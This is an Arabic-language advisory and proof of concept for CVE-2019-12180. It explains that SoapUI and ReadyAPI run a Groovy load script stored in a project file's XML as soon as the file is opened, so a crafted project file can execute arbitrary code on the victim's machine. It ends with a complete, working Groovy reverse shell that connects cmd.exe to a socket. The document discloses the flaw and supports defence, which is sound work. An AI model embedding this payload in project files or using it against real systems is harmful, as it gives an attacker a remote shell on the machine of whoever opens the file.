
استشارة وإثبات مفهوم لـ CVE-2019-12180، يوضح تنفيذ كود Groovy عشوائي في SoapUI وReadyAPI عبر ملفات مشروع خبيثة.
إشعار وإثبات المفهوم (PoC)
تتيح لك SoapUI و ReadyAPI إنشاء أو إضافة محتويات ديناميكية لحالات الاختبار (على سبيل المثال، لحساب طابع زمني بشكل فوري) باستخدام نصوص لغة Apache Groovy. يمكن تشغيل تنفيذ هذه النصوص بعدة طرق، ويتم تخزينها داخل ملف XML "ملف المشروع" بمجرد حفظ المشروع.
تتيح وظيفة "Load Script" إنشاء نص Groovy يتم تشغيله بمجرد فتح ملف المشروع (عنصر con:afterLoadScript في ملف XML الخاص بالمشروع) دون أي تفاعل إضافي من المستخدم. يمكن للمهاجم استغلال هذا السلوك لإنشاء ملفات مشروع ضارة، بمجرد فتحها، تنفذ كود Groovy عشوائي على نظام الضحية. نظرًا لإمكانية تنفيذ أوامر النظام باستخدام لغة Groovy، يمكن استغلال هذه الميزة لتنفيذ أوامر عن بُعد بشكل فعال.
ملاحظة: يمكن تحقيق نفس الهدف من خلال استغلال أي وظيفة أخرى قادرة على تنفيذ نصوص Groovy (مثل "Save script")، ولكن ذلك سيتطلب تفاعلًا إضافيًا من المستخدم بعد تحميل ملف المشروع.
التطبيقات المعرضة للخطر:
في وقت كتابة هذا التقرير (2020-02-04)، هذه ثغرة من نوع zero-day، حيث مرت تواريخ الإفصاح (المتعددة) المقترحة دون إصدار تصحيح من قبل البائع.
مثال لـ Groovy Reverse Shell (https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76):
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();